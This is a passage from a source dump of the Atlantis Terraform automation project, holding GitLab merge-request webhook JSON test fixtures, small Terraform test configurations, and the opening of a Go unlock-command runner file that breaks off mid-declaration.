"event_type": "merge_request", "user": { "id": 2, "name": "Simon Heather", "username": "sheather", "avatar_url": "https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon", "email": "[REDACTED]" }, "project": { "id": 2, "name": "test", "description": null, "web_url": "https://gitlab.lan/sheather/test", "avatar_url": null, "git_ssh_url": "git@gitlab.lan:sheather/test.git", "git_http_url": "https://gitlab.lan/sheather/test.git", "namespace": "Simon Heather", "visibility_level": 0, "path_with_namespace": "sheather/test", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.lan/sheather/test", "url": "git@gitlab.lan:sheather/test.git", "ssh_url": "git@gitlab.lan:sheather/test.git", "http_url": "https://gitlab.lan/sheather/test.git" }, "object_attributes": { "assignee_id": null, "author_id": 2, "created_at": "2023-07-02 15:59:31 UTC", "description": "", "head_pipeline_id": 8, "id": 3, "iid": 3, "last_edited_at": null, "last_edited_by_id": null, "merge_commit_sha": null, "merge_error": null, "merge_params": { "force_remove_source_branch": "1" }, "merge_status": "can_be_merged", "merge_user_id": null, "merge_when_pipeline_succeeds": false, "milestone_id": 1, "source_branch": "sheather-cloudfront-patch-92417", "source_project_id": 2, "state_id": 1, "target_branch": "cloudfront", "target_project_id": 2, "time_estimate": 0, "title": "Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf", "updated_at": "2023-07-02 16:50:42 UTC", "updated_by_id": 2, "url": "https://gitlab.lan/sheather/test/-/merge_requests/3", "source": { "id": 2, "name": "test", "description": null, "web_url": "https://gitlab.lan/sheather/test", "avatar_url": null, "git_ssh_url": "git@gitlab.lan:sheather/test.git", "git_http_url": "https://gitlab.lan/sheather/test.git", "namespace": "Simon Heather", "visibility_level": 0, "path_with_namespace": "sheather/test", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.lan/sheather/test", "url": "git@gitlab.lan:sheather/test.git", "ssh_url": "git@gitlab.lan:sheather/test.git", "http_url": "https://gitlab.lan/sheather/test.git" }, "target": { "id": 2, "name": "test", "description": null, "web_url": "https://gitlab.lan/sheather/test", "avatar_url": null, "git_ssh_url": "git@gitlab.lan:sheather/test.git", "git_http_url": "https://gitlab.lan/sheather/test.git", "namespace": "Simon Heather", "visibility_level": 0, "path_with_namespace": "sheather/test", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.lan/sheather/test", "url": "git@gitlab.lan:sheather/test.git", "ssh_url": "git@gitlab.lan:sheather/test.git", "http_url": "https://gitlab.lan/sheather/test.git" }, "last_commit": { "id": "386f281f2c9b1a3b659fc7a244ca6781174e1836", "message": "Update main.tf", "title": "Update main.tf", "timestamp": "2023-07-02T16:33:22+00:00", "url": "https://gitlab.lan/sheather/test/-/commit/386f281f2c9b1a3b659fc7a244ca6781174e1836", "author": { "name": "Simon Heather", "email": "[REDACTED]" } }, "work_in_progress": false, "total_time_spent": 0, "time_change": 0, "human_total_time_spent": null, "human_time_change": null, "human_time_estimate": null, "assignee_ids": [ ], "reviewer_ids": [ 2 ], "labels": [ ], "state": "opened", "blocking_discussions_resolved": true, "first_contribution": false, "detailed_merge_status": "ci_must_pass", "action": "update" }, "labels": [ ], "changes": { "milestone_id": { "previous": null, "current": 1 }, "updated_at": { "previous": "2023-07-02 16:49:20 UTC", "current": "2023-07-02 16:50:42 UTC" } }, "repository": { "name": "test", "url": "git@gitlab.lan:sheather/test.git", "description": null, "homepage": "https://gitlab.lan/sheather/test" }, "reviewers": [ { "id": 2, "name": "Simon Heather", "username": "sheather", "avatar_url": "https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon", "email": "[REDACTED]" } ] } ================================================ FILE: server/events/testdata/gitlab-merge-request-event-update-mixed.json ================================================ { "object_kind": "merge_request", "event_type": "merge_request", "user": { "name": "Quan Hoang", "username": "quan.hoang", "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", "email": "hdquan@pm.me" }, "project": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "object_attributes": { "assignee_id": 255, "author_id": 255, "created_at": "2020-12-08 04:04:23 UTC", "description": "New description aaaa", "head_pipeline_id": null, "id": 41728, "iid": 3, "last_edited_at": "2020-12-08 04:11:57 UTC", "last_edited_by_id": 255, "merge_commit_sha": null, "merge_error": null, "merge_params": { "force_remove_source_branch": "1" }, "merge_status": "can_be_merged", "merge_user_id": null, "merge_when_pipeline_succeeds": false, "milestone_id": null, "source_branch": "get-event-payload", "source_project_id": 910, "state_id": 1, "target_branch": "main", "target_project_id": 910, "time_estimate": 0, "title": "Add new file (another time)", "updated_at": "2020-12-08 04:11:57 UTC", "updated_by_id": 255, "url": "https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3", "source": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "target": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "last_commit": { "id": "1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", "message": "Add abc.txt\n", "title": "Add abc.txt", "timestamp": "2020-12-08T11:03:29+07:00", "url": "https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", "author": { "name": "Quan Hoang", "email": "hdquan@pm.me" } }, "work_in_progress": false, "total_time_spent": 0, "human_total_time_spent": null, "human_time_estimate": null, "assignee_ids": [ 255 ], "state": "opened", "action": "update" }, "labels": [ { "id": 340, "title": "aaaa", "color": "#0033CC", "project_id": 910, "created_at": "2020-12-08 04:05:34 UTC", "updated_at": "2020-12-08 04:05:34 UTC", "template": false, "description": null, "type": "ProjectLabel", "group_id": null } ], "changes": { "description": { "previous": "New description", "current": "New description aaaa" }, "last_edited_at": { "previous": "2020-12-08 04:05:16 UTC", "current": "2020-12-08 04:11:57 UTC" }, "title": { "previous": "Add new file", "current": "Add new file (another time)" }, "updated_at": { "previous": "2020-12-08 04:07:34 UTC", "current": "2020-12-08 04:11:57 UTC" }, "assignees": { "previous": [ { "name": "Quan Hoang", "username": "quan.hoang", "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", "email": "hdquan@pm.me" } ], "current": [ { "name": "Quan Hoang", "username": "quan.hoang", "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", "email": "hdquan@pm.me" } ] } }, "repository": { "name": "Test Gitlab Webhook", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "description": "", "homepage": "https://gitlab.com/quan.hoang/atlantis-example" }, "assignees": [ { "name": "Quan Hoang", "username": "quan.hoang", "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", "email": "hdquan@pm.me" } ] } ================================================ FILE: server/events/testdata/gitlab-merge-request-event-update-new-commit.json ================================================ { "object_kind": "merge_request", "event_type": "merge_request", "user": { "name": "Quan Hoang", "username": "quan.hoang", "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", "email": "hdquan@pm.me" }, "project": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "object_attributes": { "assignee_id": 255, "author_id": 255, "created_at": "2020-12-08 04:04:23 UTC", "description": "New description aaaa", "head_pipeline_id": null, "id": 41728, "iid": 3, "last_edited_at": "2020-12-08 04:11:57 UTC", "last_edited_by_id": 255, "merge_commit_sha": null, "merge_error": null, "merge_params": { "force_remove_source_branch": "1" }, "merge_status": "unchecked", "merge_user_id": null, "merge_when_pipeline_succeeds": false, "milestone_id": null, "source_branch": "get-event-payload", "source_project_id": 910, "state_id": 1, "target_branch": "main", "target_project_id": 910, "time_estimate": 0, "title": "Add new file (another time)", "updated_at": "2020-12-08 04:15:39 UTC", "updated_by_id": 255, "url": "https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3", "source": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "target": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "last_commit": { "id": "5ff66a1f7404deee915b50998c340e96d995f048", "message": "New commit\n", "title": "New commit", "timestamp": "2020-12-08T11:15:30+07:00", "url": "https://gitlab.com/quan.hoang/atlantis-example/-/commit/5ff66a1f7404deee915b50998c340e96d995f048", "author": { "name": "Quan Hoang", "email": "hdquan@pm.me" } }, "work_in_progress": false, "total_time_spent": 0, "human_total_time_spent": null, "human_time_estimate": null, "assignee_ids": [ 255 ], "state": "opened", "action": "update", "oldrev": "1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7" }, "labels": [ { "id": 340, "title": "aaaa", "color": "#0033CC", "project_id": 910, "created_at": "2020-12-08 04:05:34 UTC", "updated_at": "2020-12-08 04:05:34 UTC", "template": false, "description": null, "type": "ProjectLabel", "group_id": null } ], "changes": { "updated_at": { "previous": "2020-12-08 04:11:57 UTC", "current": "2020-12-08 04:15:39 UTC" } }, "repository": { "name": "Test Gitlab Webhook", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "description": "", "homepage": "https://gitlab.com/quan.hoang/atlantis-example" }, "assignees": [ { "name": "Quan Hoang", "username": "quan.hoang", "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", "email": "hdquan@pm.me" } ] } ================================================ FILE: server/events/testdata/gitlab-merge-request-event-update-reviewer.json ================================================ { "object_kind": "merge_request", "event_type": "merge_request", "user": { "id": 2, "name": "Simon Heather", "username": "sheather", "avatar_url": "https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon", "email": "[REDACTED]" }, "project": { "id": 2, "name": "test", "description": null, "web_url": "https://gitlab.lan/sheather/test", "avatar_url": null, "git_ssh_url": "git@gitlab.lan:sheather/test.git", "git_http_url": "https://gitlab.lan/sheather/test.git", "namespace": "Simon Heather", "visibility_level": 0, "path_with_namespace": "sheather/test", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.lan/sheather/test", "url": "git@gitlab.lan:sheather/test.git", "ssh_url": "git@gitlab.lan:sheather/test.git", "http_url": "https://gitlab.lan/sheather/test.git" }, "object_attributes": { "assignee_id": null, "author_id": 2, "created_at": "2023-07-02 15:59:31 UTC", "description": "", "head_pipeline_id": 8, "id": 3, "iid": 3, "last_edited_at": null, "last_edited_by_id": null, "merge_commit_sha": null, "merge_error": null, "merge_params": { "force_remove_source_branch": "1" }, "merge_status": "can_be_merged", "merge_user_id": null, "merge_when_pipeline_succeeds": false, "milestone_id": null, "source_branch": "sheather-cloudfront-patch-92417", "source_project_id": 2, "state_id": 1, "target_branch": "cloudfront", "target_project_id": 2, "time_estimate": 0, "title": "Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf", "updated_at": "2023-07-02 16:49:20 UTC", "updated_by_id": 2, "url": "https://gitlab.lan/sheather/test/-/merge_requests/3", "source": { "id": 2, "name": "test", "description": null, "web_url": "https://gitlab.lan/sheather/test", "avatar_url": null, "git_ssh_url": "git@gitlab.lan:sheather/test.git", "git_http_url": "https://gitlab.lan/sheather/test.git", "namespace": "Simon Heather", "visibility_level": 0, "path_with_namespace": "sheather/test", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.lan/sheather/test", "url": "git@gitlab.lan:sheather/test.git", "ssh_url": "git@gitlab.lan:sheather/test.git", "http_url": "https://gitlab.lan/sheather/test.git" }, "target": { "id": 2, "name": "test", "description": null, "web_url": "https://gitlab.lan/sheather/test", "avatar_url": null, "git_ssh_url": "git@gitlab.lan:sheather/test.git", "git_http_url": "https://gitlab.lan/sheather/test.git", "namespace": "Simon Heather", "visibility_level": 0, "path_with_namespace": "sheather/test", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.lan/sheather/test", "url": "git@gitlab.lan:sheather/test.git", "ssh_url": "git@gitlab.lan:sheather/test.git", "http_url": "https://gitlab.lan/sheather/test.git" }, "last_commit": { "id": "386f281f2c9b1a3b659fc7a244ca6781174e1836", "message": "Update main.tf", "title": "Update main.tf", "timestamp": "2023-07-02T16:33:22+00:00", "url": "https://gitlab.lan/sheather/test/-/commit/386f281f2c9b1a3b659fc7a244ca6781174e1836", "author": { "name": "Simon Heather", "email": "[REDACTED]" } }, "work_in_progress": false, "total_time_spent": 0, "time_change": 0, "human_total_time_spent": null, "human_time_change": null, "human_time_estimate": null, "assignee_ids": [ ], "reviewer_ids": [ 2 ], "labels": [ ], "state": "opened", "blocking_discussions_resolved": true, "first_contribution": false, "detailed_merge_status": "ci_must_pass", "action": "update" }, "labels": [ ], "changes": { "updated_at": { "previous": "2023-07-02 16:33:56 UTC", "current": "2023-07-02 16:49:20 UTC" }, "reviewers": { "previous": [ ], "current": [ { "id": 2, "name": "Simon Heather", "username": "sheather", "avatar_url": "https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon", "email": "[REDACTED]" } ] } }, "repository": { "name": "test", "url": "git@gitlab.lan:sheather/test.git", "description": null, "homepage": "https://gitlab.lan/sheather/test" }, "reviewers": [ { "id": 2, "name": "Simon Heather", "username": "sheather", "avatar_url": "https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon", "email": "[REDACTED]" } ] } ================================================ FILE: server/events/testdata/gitlab-merge-request-event-update-target-branch.json ================================================ { "object_kind": "merge_request", "event_type": "merge_request", "user": { "name": "Quan Hoang", "username": "quan.hoang", "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", "email": "hdquan@pm.me" }, "project": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "object_attributes": { "assignee_id": 19, "author_id": 255, "created_at": "2020-12-08 04:04:23 UTC", "description": "New description", "head_pipeline_id": null, "id": 41728, "iid": 3, "last_edited_at": "2020-12-08 04:05:16 UTC", "last_edited_by_id": 255, "merge_commit_sha": null, "merge_error": null, "merge_params": { "force_remove_source_branch": "1" }, "merge_status": "unchecked", "merge_user_id": null, "merge_when_pipeline_succeeds": false, "milestone_id": null, "source_branch": "get-event-payload", "source_project_id": 910, "state_id": 1, "target_branch": "demo-1", "target_project_id": 910, "time_estimate": 0, "title": "Add new file", "updated_at": "2020-12-08 04:07:12 UTC", "updated_by_id": 255, "url": "https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3", "source": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "target": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "last_commit": { "id": "1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", "message": "Add abc.txt\n", "title": "Add abc.txt", "timestamp": "2020-12-08T11:03:29+07:00", "url": "https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", "author": { "name": "Quan Hoang", "email": "hdquan@pm.me" } }, "work_in_progress": false, "total_time_spent": 0, "human_total_time_spent": null, "human_time_estimate": null, "assignee_ids": [ 19, 255 ], "state": "opened", "action": "update" }, "labels": [ { "id": 340, "title": "aaaa", "color": "#0033CC", "project_id": 910, "created_at": "2020-12-08 04:05:34 UTC", "updated_at": "2020-12-08 04:05:34 UTC", "template": false, "description": null, "type": "ProjectLabel", "group_id": null } ], "changes": { "merge_status": { "previous": "can_be_merged", "current": "unchecked" } }, "repository": { "name": "Test Gitlab Webhook", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "description": "", "homepage": "https://gitlab.com/quan.hoang/atlantis-example" }, "assignees": [ { "name": "Quan Hoang", "username": "quan.hoang", "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", "email": "hdquan@pm.me" } ] } ================================================ FILE: server/events/testdata/gitlab-merge-request-event-update-title.json ================================================ { "object_kind": "merge_request", "event_type": "merge_request", "user": { "name": "Quan Hoang", "username": "quan.hoang", "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", "email": "hdquan@pm.me" }, "project": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "object_attributes": { "assignee_id": null, "author_id": 255, "created_at": "2020-12-08 04:04:23 UTC", "description": "description", "head_pipeline_id": null, "id": 41728, "iid": 3, "last_edited_at": "2020-12-08 04:04:56 UTC", "last_edited_by_id": 255, "merge_commit_sha": null, "merge_error": null, "merge_params": { "force_remove_source_branch": "1" }, "merge_status": "can_be_merged", "merge_user_id": null, "merge_when_pipeline_succeeds": false, "milestone_id": null, "source_branch": "get-event-payload", "source_project_id": 910, "state_id": 1, "target_branch": "main", "target_project_id": 910, "time_estimate": 0, "title": "Add new file", "updated_at": "2020-12-08 04:04:56 UTC", "updated_by_id": 255, "url": "https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3", "source": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "target": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "last_commit": { "id": "1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", "message": "Add abc.txt\n", "title": "Add abc.txt", "timestamp": "2020-12-08T11:03:29+07:00", "url": "https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", "author": { "name": "Quan Hoang", "email": "hdquan@pm.me" } }, "work_in_progress": false, "total_time_spent": 0, "human_total_time_spent": null, "human_time_estimate": null, "assignee_ids": [], "state": "opened", "action": "update" }, "labels": [], "changes": { "last_edited_at": { "previous": null, "current": "2020-12-08 04:04:56 UTC" }, "last_edited_by_id": { "previous": null, "current": 255 }, "title": { "previous": "Add abc.txt", "current": "Add new file" }, "updated_at": { "previous": "2020-12-08 04:04:23 UTC", "current": "2020-12-08 04:04:56 UTC" }, "updated_by_id": { "previous": null, "current": 255 } }, "repository": { "name": "Test Gitlab Webhook", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "description": "", "homepage": "https://gitlab.com/quan.hoang/atlantis-example" } } ================================================ FILE: server/events/testdata/gitlab-merge-request-event.json ================================================ { "object_kind": "merge_request", "event_type": "merge_request", "user": { "name": "Luke Kysow", "username": "lkysow", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon" }, "project": { "id": 4580910, "name": "atlantis-example", "description": "", "web_url": "https://gitlab.com/lkysow/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:lkysow/atlantis-example.git", "git_http_url": "https://gitlab.com/lkysow/atlantis-example.git", "namespace": "lkysow", "visibility_level": 20, "path_with_namespace": "lkysow/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow/atlantis-example", "url": "git@gitlab.com:lkysow/atlantis-example.git", "ssh_url": "git@gitlab.com:lkysow/atlantis-example.git", "http_url": "https://gitlab.com/lkysow/atlantis-example.git" }, "object_attributes": { "assignee_id": null, "author_id": 1755902, "created_at": "2018-12-12 16:15:21 UTC", "description": "", "head_pipeline_id": null, "id": 20809239, "iid": 12, "last_edited_at": null, "last_edited_by_id": null, "merge_commit_sha": null, "merge_error": null, "merge_params": { "force_remove_source_branch": false }, "merge_status": "unchecked", "merge_user_id": null, "merge_when_pipeline_succeeds": false, "milestone_id": null, "source_branch": "patch-1", "source_project_id": 4580910, "state": "opened", "target_branch": "main", "target_project_id": 4580910, "time_estimate": 0, "title": "Update main.tf", "updated_at": "2018-12-12 16:15:21 UTC", "updated_by_id": null, "url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/12", "source": { "id": 4580910, "name": "atlantis-example", "description": "", "web_url": "https://gitlab.com/sourceorg/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:sourceorg/atlantis-example.git", "git_http_url": "https://gitlab.com/sourceorg/atlantis-example.git", "namespace": "sourceorg", "visibility_level": 20, "path_with_namespace": "sourceorg/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/sourceorg/atlantis-example", "url": "git@gitlab.com:sourceorg/atlantis-example.git", "ssh_url": "git@gitlab.com:sourceorg/atlantis-example.git", "http_url": "https://gitlab.com/sourceorg/atlantis-example.git" }, "target": { "id": 4580910, "name": "atlantis-example", "description": "", "web_url": "https://gitlab.com/lkysow/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:lkysow/atlantis-example.git", "git_http_url": "https://gitlab.com/lkysow/atlantis-example.git", "namespace": "lkysow", "visibility_level": 20, "path_with_namespace": "lkysow/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow/atlantis-example", "url": "git@gitlab.com:lkysow/atlantis-example.git", "ssh_url": "git@gitlab.com:lkysow/atlantis-example.git", "http_url": "https://gitlab.com/lkysow/atlantis-example.git" }, "last_commit": { "id": "d2eae324ca26242abca45d7b49d582cddb2a4f15", "message": "Update main.tf", "timestamp": "2018-12-12T16:15:10Z", "url": "https://gitlab.com/lkysow/atlantis-example/commit/d2eae324ca26242abca45d7b49d582cddb2a4f15", "author": { "name": "Luke Kysow", "email": "lkysow@gmail.com" } }, "work_in_progress": false, "total_time_spent": 0, "human_total_time_spent": null, "human_time_estimate": null, "action": "open" }, "labels": [ ], "changes": { "author_id": { "previous": null, "current": 1755902 }, "created_at": { "previous": null, "current": "2018-12-12 16:15:21 UTC" }, "description": { "previous": null, "current": "" }, "id": { "previous": null, "current": 20809239 }, "iid": { "previous": null, "current": 12 }, "merge_params": { "previous": { }, "current": { "force_remove_source_branch": false } }, "source_branch": { "previous": null, "current": "patch-1" }, "source_project_id": { "previous": null, "current": 4580910 }, "target_branch": { "previous": null, "current": "main" }, "target_project_id": { "previous": null, "current": 4580910 }, "title": { "previous": null, "current": "Update main.tf" }, "updated_at": { "previous": null, "current": "2018-12-12 16:15:21 UTC" }, "total_time_spent": { "previous": null, "current": 0 } }, "repository": { "name": "atlantis-example", "url": "git@gitlab.com:lkysow/atlantis-example.git", "description": "", "homepage": "https://gitlab.com/lkysow/atlantis-example" } } ================================================ FILE: server/events/testdata/test-repos/cloud-block-without-workspace-name/main.tf ================================================ terraform { required_version = ">=1.2" cloud { organization = "atlantis-test" workspaces { tags = ["example", "tag"] } } } ================================================ FILE: server/events/testdata/test-repos/no-cloud-block/main.tf ================================================ terraform { required_version = ">=1.2" } ================================================ FILE: server/events/testdata/test-repos/workspace-configured/main.tf ================================================ terraform { required_version = ">=1.2" cloud { organization = "atlantis-test" workspaces { name = "test-workspace" } } } ================================================ FILE: server/events/unlock_command_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "slices" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/vcs" ) func NewUnlockCommandRunner( deleteLockCommand DeleteLockCommand, vcsClient vcs.Client, SilenceNoProjects bool, DisableUnlockLabel string, ) *UnlockCommandRunner { return &UnlockCommandRunner{ deleteLockCommand: deleteLockCommand, vcsClient: vcsClient, SilenceNoProjects: SilenceNoProjects, DisableUnlockLabel: DisableUnlockLabel, } } type 